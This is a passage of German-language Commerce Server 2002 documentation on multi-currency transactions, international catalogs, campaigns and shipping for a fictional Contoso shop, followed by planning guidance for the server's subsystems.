Im Gegensatz dazu wird der Kurs für Contoso-Lieferanten in einigen Szenarien bereits festgelegt, bevor irgendeine Transaktion stattfindet. Dazu einigt sich Contoso mit den Lieferanten für einen bestimmten Zeitraum auf einen festgelegten Umrechnungskurs. Wenn Contoso einen Auftrag für ein Produkt an ein Unternehmen vergibt, das eine andere Währung verwendet, wird auf die Transaktion der im Vorfeld vereinbarte Umrechnungskurs angewendet. In diesem Beispiel redet man von einer Umrechnung mit festem Umrechnungssatz.

Voraussetzungen, die für alle Szenarien gelten

Unterstützung von Transaktionen in mehreren Währungen

Verfolgen von Transaktionen in mehreren Währungen

Probleme bei Transaktionen in mehreren Währungen

Voraussetzungen, die für alle Szenarien gelten

Die folgenden Voraussetzungen gelten für alle internationalen Transaktionsszenarien:

  • In den Katalogen in der Site wird nur eine Standardwährung (und zwar die Währung, die die Site für ihre Banktransaktionen verwendet) eingesetzt.
  • Innerhalb einer Bestellung dürfen vom Benutzer nicht mehrere Währungen verwendet werden. Benutzer können also nicht Artikel "A" in Schweizer Franken und dann Artikel "B" in Yen bezahlen.

Hinweis

  • Es wird empfohlen, für Währungsumrechnungen in der Website ein Buchhaltungssystem eines Drittanbieters zu verwenden. Im Order Sitelet (Commerce Server SDK) ist ein einfaches Beispielverfahren aufgeführt, das für produktionsrelevanten Code nicht verwendet werden sollte.

Szenario 1:

  • Ein Benutzer kauft in der Site www.contosoeinzelhandel.msn.ch zum amtlichen Umrechnungskurs in einer Währung ein. Obwohl die Transaktion in Schweizer Franken ausgeführt wird, wird dem Benutzer auch ein ungefährer Kaufpreis in Yen angezeigt.

Dies ist ein Beispiel für die einfachste und am häufigsten verwendete internationale Einzelhandels- bzw. Business-To-Consumer-Transaktion. Einkäufer und E-Commerce-Site möchten ein gemeinsames Geschäft abwickeln, verwenden jedoch nicht dieselbe Standardwährung. Der Benutzer besucht die deutschsprachige Website www.contosoeinzelhandel.msn.ch, deren Standardwährung Schweizer Franken ist, und wählt als bevorzugte Währung Yen aus. Von nun an werden dem Benutzer beim Navigieren durch die Site alle Preise in Yen angezeigt.

Die Preisangaben in Yen sind hier als ungefähre Werte gekennzeichnet, da dem Benutzer ein Betrag in Rechnung gestellt wird, der vom Umrechnungskurs seiner Bank abhängig ist und sich somit vom angezeigten Preis geringfügig unterscheiden kann. Der verwendete Umrechnungskurs kann zwar geschätzt werden, mit endgültiger Sicherheit festgelegt werden kann er jedoch erst bei Abschluss der Transaktion. Sobald der Benutzer die Bestellung absendet, wird ein ungefährer Gesamtwert in der bevorzugten Währung und ein genauer Rechnungsbetrag in der Standardwährung der Site angegeben.

Der Rechnungsbetrag, der von der Bank des Benutzers an www.contosoeinzelhandel.msn.ch überwiesen wird, ist ein Betrag in Schweizer Franken. Dem Benutzer wird von seiner Bank hingegen der in Yen umgerechnete Betrag vom Konto abgebucht. Der genaue Rechnungsbetrag (in Yen) ist erst in diesem Moment bekannt.

Szenario 2:

  • Ein Benutzer kauft in der Site www.contosoeinzelhandel.msn.ch zum amtlichen Umrechnungskurs in einer Währung ein.
  • In der Website werden die Waren eines oder mehrerer anderer Unternehmen verkauft. Dabei werden ausgehandelte Umrechnungskurse verwendet.

Die Transaktion zwischen dem Benutzer und www.contosoeinzelhandel.msn.ch unterscheidet sich nicht von der Transaktion im ersten Beispiel. Es findet jedoch eine weitere Transaktion (bzw. Transaktionen) statt, da www.contosoeinzelhandel.msn.ch hier als Wiederverkäufer auftritt und die angeforderten Waren von einem Lieferanten beziehen muss.

Dieser Lieferant von www.contosoeinzelhandel.msn.ch verwendet als Standardwährung Euro, daher haben die Vertragspartner einen festen Umrechnungskurs ausgehandelt. Diese Vorgehensweise hat den Vorteil, dass www.contosoeinzelhandel.msn.ch genau bestimmen kann, wie hoch der bei Transaktionen mit dem Lieferanten in Rechnung gestellte Betrag ist. Im Gegensatz zu den Transaktionen zwischen www.contosoeinezlhandel.msn.ch und dem Benutzer ist die Umrechnung der in den Transaktionen zwischen Lieferant und www.contosoeinzelhandel.msn.ch anfallenden Beträge nicht Aufgabe der Bank.

In diesem Szenario können mehrere Lieferanten am Geschäftsprozess beteiligt sein, die jeweils eine eigene, von der Standardwährung des Wiederverkäufers oder des Einkäufers verschiedene Währung verwenden.

Szenario 3:

  • Ein Benutzer kauft in der Site www.contosoeinzelhandel.msn.ch zum amtlichen Umrechnungskurs in einer Währung ein.
  • In der Website werden die Waren eines oder mehrerer anderer Unternehmen wiederverkauft. Dabei werden die amtlichen Devisenkurse verwendet.

Im Hinblick auf die Transaktion mit dem Benutzer besteht kein Unterschied zu Beispiel 1 und 2.

Von Beispiel 2 unterscheidet sich dieses Szenario dahingehend, dass in der Transaktion zwischen Lieferant und www.contosoeinzelhandel.msn.ch der zum Zeitpunkt der Umrechnung amtliche Devisenkurs verwendet wird. Sie sollten bedenken, dass dafür im Verlauf der Transaktion verschiedene Zeitpunkte in Frage kommen, z. B., wenn der Lieferant die Rechnung an www.contosoeinzelhandel.msn.ch schickt oder wenn www.contosoeinzelhandel.msn.ch den Betrag an den Lieferanten überweist.

Benutzer, www.contosoeinezlhandel.msn.ch und der Lieferant können unterschiedliche Währungen verwenden. Für den Umrechnungskurs ist in jedem Fall die Bank verantwortlich. Aus diesem Grund kennt www.contosoeinzelhandel.msn.ch nicht den genauen Betrag, der nach Ausführung der Transaktion in Rechnung gestellt wird.

Sie müssen beachten, dass der Benutzer in keinem der drei Szenarien vor Abschluss der Transaktion und Rechnungsstellung der Bank weiß, welcher Umrechnungskurs verwendet wird. Daher sollten in der E-Commerce-Site alle Preise als ungefähr gekennzeichnet sein.

Unterstützung von Transaktionen in mehreren Währungen

Für den Erfolg eines Unternehmens sind die bei Transaktionen in mehreren Währungen verwendeten Umrechnungskurse und die Verwaltung der bei diesen Transaktionen anfallenden Kosten von großer Bedeutung. Vom Standpunkt des Unternehmens betrachtet deckt Commerce Server 2002 nicht den gesamten Verlauf einer Transaktion in mehreren Währungen ab, da dazu auch das Bestellungsausführungs- und/oder das Buchhaltungssystem berücksichtigt werden müssten. Die Unterstützung von Bestellungsausführungs- und Buchhaltungssystemen von Drittanbietern ist jedoch integriert.

Das Geschäftsabwicklungspipeline-System von Commerce Server 2002 gewährleistet diese Unterstützung durch folgende Elemente:

  • Festlegung und Verfolgung der bevorzugten Währung des Benutzers der E-Commerce-Site
  • Verfolgung des bei einer Bestellung verwendeten Umrechnungskurses

Um diese Funktionen zu unterstützen, geht Commerce Server 2002 von folgenden Voraussetzungen aus:

  • Die Katalogpreise sind in der Standardwährung der E-Commerce-Site gespeichert.
  • Die Order Processing-Pipeline wird immer in der Standardwährung der E-Commerce-Site ausgeführt.
  • Die Umrechnung der Währungsbeträge erfolgt außerhalb von Commerce Server 2002 nach der Formel Rechnungsbetrag = Standardwährung * Umrechnungsfaktor. Der Rechnungsbetrag ist dabei der vom Käufer der Waren bezahlte bzw. geschuldete Betrag.
  • Die Daten werden durch das Data Warehouse – und in der Erweiterung die Analyse – gespeichert und in der Standardwährung der Site erfasst, da sie nach Sites zusammengefasst werden.

Verfolgen von Transaktionen in mehreren Währungen

Die folgende Tabelle enthält die Daten, die durch das Geschäftsabwicklungspipeline-System verfolgt werden. Dieses System verfolgt die Daten für alle Transaktionen, die die Pipeline durchlaufen. Die Daten werden erst auf dem Bestellformular und schließlich in der Bestelldatenbank gespeichert.

Feldname | Position | Beschreibung
billing_currency | Kopfzeile des Bestellformulars | Standardwährung der Site
supplier_currency | Einzelposten | Standardwährung des Lieferanten, der die Waren an www.contosoeinzelhandel.msn.ch liefert
buyer_currency | Kopfzeile des Bestellformulars | Bevorzugte Währung des Benutzers

Die folgende Tabelle enthält die Daten, die zunächst nicht vom Geschäftsabwicklungspipeline-System verfolgt werden. Diese Daten müssen vom Bestellausführungs- und/oder Buchhaltungssystem eines Drittanbieters verfolgt werden.

Feldname | Beschreibung
Umrechnungskurs | Der Faktor, der zur Umrechnung aus der Standardwährung der Site in die vom betreffenden Vertreter der Lieferantenkette akzeptierte Währung verwendet wird.
Umrechnungstyp | Legt fest, ob es sich beim Umrechnungskurs um einen statischen (vertragsmäßig ausgehandelten) oder einen dynamischen (von der Bank verwendeten amtlichen) Kurs handelt.
Umrechnungszeit | Der Zeitpunkt, zu dem der Umrechnungskurs durch die Bank fixiert wird. Bei statischen Umrechnungskursen sollte das immer der Zeitpunkt sein, zu dem die Bestellung angenommen wurde.
Vertrags-ID | Die Nummer des Vertrags, in dem der Umrechnungskurs für die statische Umrechnung festgelegt ist.

Probleme bei Transaktionen in mehreren Währungen

Bei Transaktionen in mehreren Währungen können sich folgende Probleme ergeben:

  • Wie bereits erwähnt, entspricht die Preisangabe für die in der Site angezeigten Einzelposten ggf. nicht dem Betrag, der dem Benutzer in Rechnung gestellt wird.
  • Die internationale Retail-Site basiert auf der Annahme, dass die Preise für die Artikel im Warenkorb sich auf eine einheitliche Währung beziehen, der Währungstyp wird folglich nicht überprüft. Wenn für einen Artikel im Warenkorb 1 Schweizer Franken und für einen anderen 2 Yen angegeben sind, wird der Benutzer nicht durch die Site darauf hingewiesen, dass sich die Zwischensumme aus 1 Schweizer Franken und 2 Yen errechnet. Die 2 Yen werden auch nicht in Schweizer Franken umgerechnet, um die Zwischensumme in Schweizer Franken anzugeben. Damit Rechnungsdaten dieser Art richtig angezeigt werden, müssen Siteentwickler eine eigene Implementierung erstellen.
  • Bei Preisnachlässen werden zum gegenwärtigen Zeitpunkt noch nicht mehrere Währungen unterstützt.
  • Zum gegenwärtigen Zeitpunkt gibt es noch keine Kreditkartenunternehmen oder Banken, die eine Transaktion in Vorgänge mit unterschiedlichen Währungen untergliedern, d. h., alle diesbezüglichen Vorgänge der Umrechnung und Buchhaltung müssen intern in der Site erfolgen.
  • Wenn Sie Anzeigen und Preisnachlässe in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache eine separate Anzeige/einen separaten Preisnachlass erstellen.

Siehe auch

ASP Order Sitelet (englisches Thema)

ASP.NET Order Sitelet (englisches Thema)

Szenario für eine internationale Lösung

Internationale Kataloge

Internationale Kampagnen

Internationaler Versand


Internationale Kataloge

Commerce Server 2002 bietet umfassende Unterstützung für die Bereitstellung von länderspezifischen Kataloginformationen. Sie können einen Katalog erstellen, in dem Eigenschaften für mehrere Sprachen und Währungen enthalten sind. Anschließend kann Ihre Anwendung in der jeweiligen Sprache Kataloginhalte bereitstellen, bei denen das Währungssymbol einer bestimmten Ländereinstellung entspricht.

Das folgende fiktive Business-Szenario bietet einige Hintergrundinformationen dazu, wie mithilfe bestimmter Features für mehrere Sprachen und Währungen entsprechende Kataloginhalte bereitgestellt werden können. Dieses Szenario ist eine Fortführung des Business-Szenarios für die Unterstützung internationaler Transaktionen.

Business-Szenario für internationale Kataloge

In diesem fiktiven Szenario werden in der Retail-Site von Contoso Kataloginhalte angezeigt, die speziell auf die Sprach- und Währungseinstellungen der Benutzer zugeschnitten sind. Von den Entwicklern der Contoso-Site wurde dieses Feature durch die Erstellung eines Katalogs implementiert, in dem Daten für jede der fünf als Zielgruppe definierten Sprachen enthalten sind. Der Katalog wurde ursprünglich in deutscher Sprache geschrieben (Basiswährung: Schweizer Franken) und dann für die Contoso-Auslandsniederlassungen von den Content-Managern in die vier anderen Sprachen (Spanisch, Französisch, Englisch und Japanisch) und Währungen übersetzt.

Die Preise in den virtuellen Katalogen richten sich nach einer Preisregel. Diese Preisregel legt fest, dass der Preis im virtuellen Katalog auf der Grundlage des Umrechnungskurses entweder erhöht oder verringert wird. Die folgende Tabelle verdeutlicht die Preisregel.

Preis im Basiskatalog | Umrechnungskurs | Preisregel | Preis im virtuellen Katalog
1 | .5 | Basispreis * 200 % |

Contoso lässt die Wechselkursdaten regelmäßig durch einen Drittanbieterdienst aktualisieren. Diese Aktualisierungen werden vorgenommen, um den Benutzern die tatsächlichen Kosten möglichst präzise anzeigen zu können. Die genauen Kosten für den Benutzer richten sich jedoch nach dem aktuellen Umrechnungskurs des Tages, an dem die Transaktion von der kreditkartenausstellenden Bank des Benutzers gebucht wird.

Zum Anzeigen der entsprechenden Inhalte haben die Siteentwickler den Katalog-Browsing-Code so bearbeitet, dass Einträge aus dem Katalog in der bevorzugten Sprache und Währung des Benutzers angezeigt werden. Wenn keine bevorzugte Sprache und Währung eingestellt ist (z. B. wenn der Benutzer anonym einkauft), wird der Katalog in englischer Sprache und mit Preisen in US-Dollar angezeigt.

Hinweis

  • Sie können für den französischen Markt einen virtuellen Katalog in französischer Sprache erstellen, in dem nur die für den französischen Markt interessanten Produkte enthalten sind und die Preise in Euro angegeben werden.

Siehe auch

Code to Set the Language Properties for a User Profile (englisches Thema)

Szenario für eine internationale Lösung

Internationale Transaktionen

Internationale Kampagnen

Internationaler Versand

Übersetzen eines Katalogs durch Exportieren/Importieren

Übersetzen eines Katalogs mit Business Desk


Internationale Kampagnen

Commerce Server 2002 bietet umfassende Unterstützung für die Bereitstellung von länderspezifischen Kampagneninformationen. Diese Unterstützung erstreckt sich auf folgende Bereiche:

  • Preisnachlässe
  • Anzeigeninhalte

Das folgende fiktive Business-Szenario bietet einige Hintergrundinformationen dazu, wie mithilfe dieser beiden Bereiche des Zielgruppenadressierungssystems von Commerce Server die gewünschten Kampagnendaten nach länderspezifischen Kriterien in angemessener Form angezeigt werden können. Dieses Szenario ist eine Fortführung des Business-Szenarios für die Unterstützung internationaler Transaktionen.

Business-Szenario für die Unterstützung internationaler Kampagnen

In diesem fiktiven Szenario werden in der Retail-Site der Contoso AG länderspezifische Preisnachlässe und Anzeigeninhalte angezeigt. Das Content-Entwicklungsteam von Contoso erstellt Inhalte, die auf fünf verschiedene Länder zugeschnitten sind (in Englisch, Spanisch, Französisch, Deutsch und Japanisch). Diese Inhalte erhalten eine Benennung, aus der die adressierte Zielgruppe eindeutig hervorgeht. So erhält eine Anzeige für Golfschuhe, die französischen Benutzern präsentiert wird, den Namen golf_FR.

Contoso definiert mithilfe von Seitengruppen, welche Anzeigen auf einer bestimmten Seite präsentiert werden, und legt anhand von Zielgruppen fest, welche landesspezifischen Preisnachlassmeldungen und Anzeigen für eine bestimmte Benutzergruppe sichtbar werden. Auf der Grundlage der bevorzugten Sprach- und Währungsprofileigenschaften hat Contoso für diese Zielgruppen einen Zielausdruck entwickelt. Zur Unterstützung der gewünschten Sprachen haben die Entwickler separate Kampagnen erstellt.

Siehe auch

Code to Set the Language Properties for a User Profile (englisches Thema)

Szenario für eine internationale Lösung

Internationale Transaktionen

Internationale Kataloge

Internationaler Versand


Internationaler Versand

Commerce Server 2002 bietet umfassende Unterstützung für die Bereitstellung von länderspezifischen Versandinformationen. Das folgende fiktive Business-Szenario bietet einige Hintergrundinformationen dazu, wie diese Unterstützung implementiert werden kann. Dieses Szenario ist eine Fortführung des Business-Szenarios für die Unterstützung internationaler Transaktionen.

Business-Szenario für die Unterstützung von internationalem Versand

In diesem fiktiven Szenario werden in der Retail-Site der Contoso AG länderspezifische Versandinformationen angezeigt. Die Versandmanager von Contoso haben Versandarten erstellt, die auf fünf verschiedene Gebietsschemas zugeschnitten sind (Englisch, Spanisch, Französisch, Deutsch und Japanisch). Dieser Inhalt erhält beispielsweise eine Benennung, aus der die Verknüpfung mit dem jeweiligen Land eindeutig hervorgeht. Eine Versandart für Luftfracht, die einem französischen Benutzer in Ihrer Site angezeigt wird, kann beispielsweise Luft_FR lauten.

Zum Verfolgen der auf der Versandseite angezeigten Versandarten verwendet Contoso das Feld language_id in der Datenbanktabelle ShippingConfig.

Siehe auch

Code to Display Shipping Methods for a Particular Language (englisches Thema)

Szenario für eine internationale Lösung

Internationale Transaktionen

Internationale Kataloge

Internationale Kampagnen


Planen der Commerce Server-Installation

Bevor die Microsoft Commerce Server 2002-Installation entwickelt und bereitgestellt werden kann, müssen Sie einige Planungsentscheidungen treffen. Sie sollten die folgenden Aspekte sorgfältig durchdenken und die Zusammenhänge verstehen, um Commerce Server erfolgreich zu entwickeln und einzusetzen. Befassen Sie dazu auch mit anderen Themen der Commerce Server 2002-Hilfe.

Die Planung der Commerce Server-Implementierung ist die erste und vielleicht wichtigste Phase in dem Zyklus von Planung, Entwicklung, Bereitstellung und Verwaltung. Eine sorgfältige Planung Ihrer Site, einschließlich der Berücksichtigung zukünftigen Zuwachses, kann späteren teuren und zeitraubenden Modifikationen vorbeugen.

Commerce Server umfasst fünf eng miteinander verbundene Subsysteme. Neben der Planung dieser Subsysteme müssen Sie auch Verwaltung, Management, Architektur und Sicherheit der Implementierung planen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Planen der Administrations- und Verwaltungstools. Gibt Empfehlungen zu Fragen der Administration und Verwaltung Ihrer Site.
  • Planen des Geschäftsanalysesystems. Gibt Empfehlungen zum Datenzugriff und zur Aktualisierung der Daten.
  • Planen der Geschäftsprozesspipelines. Gibt Empfehlungen zu Fragen der Pipelinefunktion.
  • Planen des Produktkatalogsystems. Gibt Empfehlungen zu verschiedenen Aspekten des Produktkatalogsystems.
  • Planen des Profilsystems. Gibt Empfehlungen zu Fragen des Profilsystems.
  • Planen des Zielgruppenadressierungssystems. Gibt Empfehlungen zu Fragen des Zielgruppenadressierungssystems.
  • Planen der Sitearchitektur. Gibt Empfehlungen zu verschiedenen Aspekten die Sitearchitektur.


Planen der Administrations- und Verwaltungstools

Commerce Server 2002 enthält drei Tools zur Verwaltung Ihrer Installation: Commerce Server Business Desk, Partnerservice und Commerce Server-Manager.

Business Desk dient zur Konfiguration vieler Siteoptionen und zur Verwaltung der täglichen Werbung sowie zur Analyse der Siteaktivität. Sie müssen einige Entscheidungen über Ihre Site treffen, um die Verwendung von Business Desk zu optimieren.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung der Administrations- und Verwaltungstools beantworten sollten.

Planungsfrage | Empfehlung
Wird Ihre Site hauptsächlich Kunden oder Handelspartnern zur Verfügung stehen? | Falls Sie eine Site für Kunden aufbauen, sollten Sie die Entwicklung mit der Retail-Lösungssite beginnen, da diese den Kundendienst enthält, der den Benutzern Zugriff auf ihre Profilinformationen gewährt. Falls Sie eine Site für Handelspartner aufbauen, sollten Sie die Entwicklung mit der Supplier-Lösungssite beginnen, da diese den Partnerservice enthält, der den Handelspartnern Zugriff auf ihre Konten gewährt. Informationen zu den Lösungssites finden Sie unter Commerce Server Solution Sites (englisches Thema).
Wenn Sie mit Handelspartnern interagieren, müssen Sie dann auch Geschäftsdokumente mit ihnen austauschen? | Sie sollten Microsoft BizTalk Server 2000 in Ihre Implementierung einbinden, falls Sie Geschäftsdokumente mit Handelspartnern austauschen möchten.
Welche Zahlungsoptionen soll Ihre Site unterstützen? | Wenn Sie Kreditkartenunterstützung planen, müssen Sie Kontakt zu einer Bank aufnehmen.
Welche Währungen soll Ihre Site unterstützen? | Wenn Ihre Site Informationen in mehreren Währungen anzeigen soll, müssen Sie das Produktkatalogsystem erweitern.
Werden Businessmanager auf große Datenmengen zugreifen? | Einige Features der Siteverwaltung können bei großen Datenmengen nicht über Business Desk verwendet werden. Wenn Ihr Produktkatalog z. B. mehr als 100.000 Einträge enthält, können Sie Aktualisierungen nicht über die von Business Desk bereitgestellten Module veröffentlichen, sondern müssen dazu ein Skript verwenden. Sie sollten die Kapazitätsanforderungen von Business Desk planen.

Siehe auch

Localizing Currencies (englisches Thema)

Integrating with BizTalk Server (englisches Thema)

Planen von Kapazität und Leistung

Konfigurieren der Anwendungsstandardkonfigurations-Ressource


Planen des Geschäftsanalysesystems

Verwenden Sie das Commerce Server 2002-Data Warehouse, um tägliche operative Daten über Benutzer zu sammeln, die Ihre Site besuchen, einschließlich Benutzerprofil-, Transaktions- und Klickverlaufsdaten. Zum Analysieren der Daten verwenden Sie die Analysemodule. So können Sie z. B. Benutzertrends identifizieren oder die Effektivität einer Kampagne analysieren. Davon ausgehend können Sie Ihre Site anpassen, um spezifische Benutzergruppen zielgerichtet anzusprechen, spezielle Produkte anzubieten usw.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung des Geschäftsanalysesystems beantworten sollten.

Planungsfrage | Empfehlung
Wie beeinflussen Datenanalysen die Geschäftsentscheidungen, die Sie in Bezug auf Ihre Site treffen? Welche Berichte benötigen Sie, um diese Entscheidungen zu treffen? | Wie Sie die im Geschäftsanalysesystem verfügbaren Berichte durchsehen können, ist unter Commerce Server 2002-Berichte beschrieben. Außerdem können Sie auf eine Vielzahl von Berichtslösungen zurückgreifen, die von Drittanbietern geliefert werden und mit dem Geschäftsanalysesystem interagieren.
Wer benötigt in Ihrer Organisation Zugriff auf die Daten? Wie oft werden Berichte abgefragt, und wie viele Details sollten diese enthalten? | Sie sollten einen Zeitplan für die Ausführung der Berichte erstellen. Gegebenenfalls müssen Sie statische Berichte regelmäßig mit Data Transformation Services-Tasks (DTS) ausführen, die auf angenommenen Geschäftsanforderungen basieren.
Wie oft werden Ihre Webserverprotokolle verarbeitet? Ihre Antwort auf diese Frage hängt hauptsächlich von Umfang und Art der gespeicherten Protokolldaten ab. Je häufiger Sie die Protokolle erstellen, desto kleiner bleiben sie.

Größere Protokolldateien bieten umfangreichere Datensätze, erhöhen jedoch die Verarbeitungszeit.

Mit Nachbearbeitungsaufgaben verbindet sich ein hoher Verarbeitungsaufwand. Daher empfiehlt es sich, in umfangreicheren Sites die Anzahl der täglichen Protokollimport- und Nachbearbeitungsvorgänge gering zu halten. Mit wachsender Größe des Data Warehouse steigt auch der Zeitaufwand für den Protokollimportvorgang.

Sie sollten die passende Ausführungsfrequenz in einer Testumgebung ermitteln und anschließend auf die Produktionsumgebung anwenden.

Siehe auch

Commerce Server 2002-Berichte

Data Warehouse-Konzepte

(englisches Thema)


Planen der Geschäftsprozesspipelines

Mit Pipelines können eine oder mehrere Phasen eines Geschäftsprozesses definiert und miteinander verbunden werden. Diese können dann zum Ausführen bestimmter Aufgaben nacheinander ausgeführt werden. Die einzelnen Phasen einer Pipeline enthalten eine oder mehrere Pipelinekomponenten, sogenannte COM (Component Object Model)-Objekte, die für alle spezifischen Anforderungen einer Site konfiguriert werden können.

Siteentwickler verwenden diese Infrastruktur, um zwei Pipelinemodelle zu implementieren: die Order Processing Pipeline (OPP) und die Inhaltsauswahlpipeline (Content Selection Pipeline, CSP).

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung von Geschäftsprozesspipelines beantworten sollten.

Planungsfrage | Empfehlung
Erfüllen die Commerce Server-Pipelinekomponenten Ihre Anforderungen? Falls nicht, möchten Sie ihre eigenen Komponenten erstellen oder diese von einem Drittanbieter für Pipelines erwerben? | Testen Sie die Funktionen der Commerce Server 2002-Pipelines. Stellen Sie fest, ob die Verarbeitungsphasen Ihren Anforderungen genügen. Falls nicht, erweitern Sie entweder die Pipelines selbst, oder erwerben Sie Pipelinekomponenten von einem Drittanbieter. Sie können z. B. für komplexe Steuer- und Versandkostenberechnungen oder Kreditkartenbearbeitung Pipelinekomponenten von Drittanbietern verwenden.

Siehe auch

Working with Pipelines (englisches Thema)

Building Pipeline Components (englisches Thema)

Extending the Content Selection Framework (englisches Thema)


Planen des Produktkatalogsystems

Verwenden Sie das Produktkatalogsystem, um Produktkataloge zu erstellen, Produkte hinzuzufügen und Produktdaten zu aktualisieren. Dieses System bietet sowohl Import- als auch Exportfunktionen und erlaubt Ihnen, Katalogschemata zu definieren und zu bearbeiten.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung des Produktkatalogsystems beantworten sollten.

Planungsfrage | Empfehlung
Planen Sie, die Informationen des Produktkatalogsystems mit einem Offlinekatalog zu synchronisieren? | Falls Sie Informationen des Produktkatalogsystems mit Ihrem Offlinekatalog synchronisieren, müssen Sie benutzerdefinierte Software dafür entwickeln. Falls Sie dieses Feature benötigen, setzen Sie sich mit Ihrem Systemadministrator in Verbindung.
Welches Organisationsschema ist das beste für Ihren Katalog? | Das Produktkatalogsystem ist ausreichend flexibel und kann verschiedene Schemata enthalten. Wenn Sie einen neuen Katalog entwerfen, stellen Sie sicher, dass das Schema genügend Erweiterungsmöglichkeiten beinhaltet.
Welche Sprachen soll Ihre Site unterstützen? | Wenn Sie mehrere Sprachen in Ihrer Site verwenden möchten, müssen Sie festlegen, welche Sprache die Berichtssprache sein soll, d. h. die Sprache, in der die Daten in das Data Warehouse exportiert werden sollen und die in den Analyseberichten verwendet werden soll.
Welche Währungen soll Ihre Site unterstützen? Wenn in Ihrer Site Informationen in mehreren Währungen angezeigt werden sollen, müssen Sie festlegen, wie die Preisberechnung in mehreren Währungen gehandhabt werden soll. Sie können die Währungen auf eine der drei folgenden Arten umrechnen:
  • Umrechnung mit festem Umrechnungssatz. Für jede neue Währung, die verwendet wird, erstellen Sie einen virtuellen Katalog sowie den relevanten Basiskatalog in den einzelnen virtuellen Katalogen. Darüber hinaus erstellen Sie auf Katalogebene eine Preisregel zum Umrechnen der Preise in die neue Währung.
  • Umrechnung mit dynamischem Umrechnungssatz. Bei diesem Ansatz wird der Wert der Währung dynamisch und zur Laufzeit berechnet, bevor er dem Benutzer angezeigt wird. Dieser Ansatz wird im Software Development Kit in der internationalen Beispielsite veranschaulicht.
  • Preisberechnung mit einer explizit festgelegten anderen Währung. Mithilfe dieses Ansatzes können Sie in jeder Währung explizit Preise definieren. Für ein einzelnes Produkt können z. B. folgende Preise festgelegt werden: 29,99 US-Dollar, 39,99 kanadische Dollar und 24,99 €. Hierzu müssen Sie dem Katalog zusätzliche Eigenschaften des Typs "Währung" hinzufügen, z. B. eine CDN_Price-Eigenschaft und eine EURO_Price-Eigenschaft. Danach können Sie diesen Eigenschaften mit dem Modul "Katalog-Editor" in Business Desk Preise hinzufügen. Zur Laufzeit wählen Sie für die Währung, die der Einkäufer verwendet, mithilfe einer Pipelinekomponente die entsprechende Preiseigenschaft aus dem Produkt aus.
Möchten Sie verschiedenen Benutzergruppen benutzerdefinierte Preise oder eine unterschiedliche Produktauswahl zuweisen? Erstellen Sie virtuelle Kataloge, um festgelegten Benutzergruppen Sonderpreise oder Produktteilmengen anzubieten.

Erstellen Sie Katalogsätze, um einen oder mehrere Kataloge festzulegen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen möchten.
Welche Katalogdaten möchten Sie in Berichten analysieren? | Sie sollten die erforderlichen Daten in das Data Warehouse exportieren, damit Sie Berichte ausführen und weitere Analysen zu den Daten durchführen können. Legen Sie beim Erstellen der Eigenschaftsdefinitionen fest, welche Produktdaten in das Data Warehouse exportiert werden sollen.
Möchten Sie Kataloge mit Ihren Handelspartnern austauschen? | Nehmen Sie in diesem Fall Microsoft BizTalk Server 2000 (oder höher) in den Bereitstellungsplan auf. Dieses Programm bietet die Funktionen, die für den automatischen Austausch von Katalogen mit Handelspartnern erforderlich sind.

Siehe auch

Informationen zu Katalogen

Business Desk-Kataloge

Integrating with BizTalk Server (englisches Thema)

Integrating a Third-Party Product Catalog (englisches Thema)


Planen des Profilsystems

In Commerce Server 2002 verwenden Sie Profile, um Informationen über die Besucher Ihrer Website zu sammeln. Die Daten eines solchen Profils stammen aus verschiedenen Datenquellen, z. B. aus Webprotokolldateien oder Commerce Server-Datenbanken. Die Profildaten werden zu Analysezwecken in das Data Warehouse importiert. Mithilfe der Ergebnisse können Sie bestimmte Inhalte bestimmten Benutzergruppen zuweisen.

Die folgende Tabelle enthält einige Fragen, die Sie bei der Planung des Profilsystems beantworten sollten.

Planungsfrage | Empfehlung
Welche Geschäftsentscheidungen möchten Sie auf den gesammelten Profilsysteminformationen basieren? | Beginnen Sie die Planung des Profilsystems mit der Beantwortung dieser Frage; denn davon hängen alle übrigen Entscheidungen über die weitere Planung dieses Systems ab.
Für welche Art von Geschäftseinheiten (z. B. Kunden, Firmen, Produkte, Bestellungen oder Konten) speichern Sie derzeit Informationen? Für welche dieser Einheiten möchten Sie Informationen im Profilsystem speichern? | Das Profilsystem ist ausreichend flexibel, um Informationen eines breiten Spektrums von Geschäftseinheiten zu speichern. Diese Informationen können im System aus verschiedenen Datenquellen aggregiert werden. Bei der Einrichtung des Systems werden die Einheiten und Datenquellen festgelegt. Daher sollten Sie die Planung mit dem Datenbankadministrator koordinieren, um sicherzustellen, dass die festgelegten Dateneinheiten mit den Einheiten im vorhandenen Datenbankverwaltungssystem übereinstimmen.
Welche Profilinformationen möchten Sie in Data Warehouse exportieren? | Sie müssen alle erforderlichen Informationen exportieren, um die Berichte erstellen zu können, die als Antwort auf die Frage unter Planen des Geschäftsanalysesystems ermittelt wurden.
Welche Informationen möchten Sie über Benutzer erfassen? | Sie können Informationen direkt von den Benutzern erfassen.
Welchen Datenspeicher möchten Sie für die Speicherung der Profile verwenden? | Wenn Sie eine Authentifizierung der Benutzer mit dem Sicherheitskontext von Microsoft Windows 2000 benötigen, müssen Sie einige Profilinformationen in Microsoft Active Directory speichern. Wenn dies nicht notwendig ist, speichern Sie die Profildaten in Microsoft SQL Server 2000.
Bestehen bereits Benutzerkonten, die Sie in das Profilsystem übertragen müssen? Müssen Sie alle Attribute des bestehenden Systems übertragen? | Zum Übertragen von Benutzerkonten aus dem Membership-Verzeichnis von Microsoft Site Server 3.0 verwenden Sie Directory Migration Toolbox. Beachten Sie, dass das Membership-Verzeichnis nach der Migration nicht mehr zur Verfügung steht.

Siehe auch

Informationen zur Profilressource

Ausführen der Profilressource

Migrieren des Membership-Verzeichnisses


Planen des Zielgruppenadressierungssystems

Das Zielgruppenadressierungssystem wird zur Übermittlung von Inhalten an einen oder mehrere Benutzer verwendet. Beachten Sie bei der Planung des Zielgruppenadressierungssystems, dass dieses drei verschiedene Subsysteme enthält.

Dieser Abschnitt beinhaltet folgende Themen:

  • Planen des Content Selection Framework
  • Planen von Direct Mailer
  • Planen der Ausdrucksbewertung


Planen des Content Selection Framework

